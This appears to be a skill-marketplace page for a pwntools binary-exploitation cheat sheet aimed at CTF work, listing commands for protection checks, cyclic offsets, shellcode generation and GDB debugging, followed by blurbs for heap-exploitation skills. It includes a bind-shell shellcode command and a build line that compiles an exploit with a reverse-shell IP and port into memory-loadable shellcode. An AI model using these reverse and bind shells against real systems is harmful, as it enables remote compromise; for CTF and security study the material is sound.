skills/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools/SKILL.md
--- name: pwntools-binary-exploitation description: Use this skill whenever working with binary exploitation, reverse engineering, or CTF challenges involving PwnTools. Trigger for: generating shellcode, analyzing binaries with checksec, creating cyclic patterns for buffer overflows, converting ELF to shellcode, debugging with GDB, disassembling opcodes, or any pwntools-related task. Make sure to use this skill for any binary exploitation workflow, even if the user doesn't explicitly mention 'pw
npx skillsauth add abelrguezr/hacktricks-skills skills/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntoolsInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
A skill for working with PwnTools in binary exploitation, reverse engineering, and CTF challenges.
pip3 install pwntools
Analyze binary protections before exploitation:
pwn checksec <executable>
This shows NX, PIE, Stack Canary, RELRO, and other protections.
Create unique patterns to find offsets in buffer overflows:
# Generate 3000-byte pattern
pwn cyclic 3000
# Find offset from pattern fragment
pwn cyclic -l faad
Options:
Get opcodes from assembly:
pwn asm "jmp esp"
pwn asm -i <filepath>
Generate shellcode:
# List available shellcodes
pwn shellcraft -l
# List shellcodes matching pattern
pwn shellcraft -l amd
# Generate shellcode in C format
pwn shellcraft -f hex amd64.linux.sh
# Run shellcode to test
pwn shellcraft -r amd64.linux.sh
# Create bind shell on specific port
pwn shellcraft .r amd64.linux.bindsh 9095
Shellcode options:
Attach GDB to processes:
# By executable
pwn debug --exec /bin/bash
# By PID
pwn debug --pid 1234
# By process name
pwn debug --process bash
Options:
Disassemble opcodes:
pwn disasm ffe4
Convert to/from hex:
# String to hex
pwn hex hola
# Hex to string
pwn unhex 686f6c61
Hexdump files:
pwn phd <file>
Convert a standalone ELF into raw shellcode that self-maps its segments. Ideal for memory-only loaders (e.g., Android JNI execution).
Workflow:
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="10.10.14.2" -DREV_SHELL_PORT="4444"
python scripts/elf_to_shellcode.py ./exploit sc
Notes:
loader_append embeds the ELF and emits a loader that mmaps segmentsCreate a Python template for remote/local exploitation:
pwn template
Options:
Disable NX on binary:
pwn disablenx <filepath>
Compare ELF files:
pwn elfdiff <file1> <file2>
Update PwnTools:
pwn update
checksec before planning exploitationpwn shellcraft -r before deploymentcontext.clear(arch='amd64')Always set the appropriate context for your target:
from pwn import *
context.clear(arch='amd64', os='linux') # or 'windows'
context.bits = 64
context.word_size = 8
testing
How to perform a House of Lore (small bin attack) heap exploitation. Use this skill whenever the user mentions heap exploitation, small bin attacks, fake chunks, glibc heap vulnerabilities, or needs to insert fake chunks into small bins for arbitrary read/write. Trigger for CTF challenges involving heap corruption, glibc 2.31+ exploitation, or when the user needs to bypass malloc sanity checks using fake chunk linking.
testing
How to perform House of Force heap exploitation attacks. Use this skill whenever the user mentions heap exploitation, House of Force, top chunk manipulation, arbitrary memory allocation, malloc manipulation, or wants to allocate chunks at specific addresses. Also trigger for CTF challenges involving heap overflows, top chunk size overwrites, or when the user needs to calculate evil_size for heap attacks. Make sure to use this skill for any binary exploitation task involving glibc heap manipulation, even if they don't explicitly say "House of Force".
tools
How to perform House of Einherjar heap exploitation to allocate memory at arbitrary addresses. Use this skill whenever the user mentions heap exploitation, glibc heap attacks, arbitrary memory allocation, off-by-one overflow exploitation, tcache poisoning, fast bin attacks, or any CTF challenge involving heap manipulation. This is essential for binary exploitation tasks where you need to control malloc() return addresses.
testing
How to identify, analyze, and exploit heap overflow vulnerabilities in binary exploitation challenges and real-world scenarios. Use this skill whenever the user mentions heap overflows, memory corruption, heap grooming, tcache poisoning, fast-bin attacks, or any heap-related vulnerability in CTF challenges, binary analysis, or security research. This skill covers heap overflow fundamentals, exploitation techniques, heap grooming strategies, and real-world CVE analysis.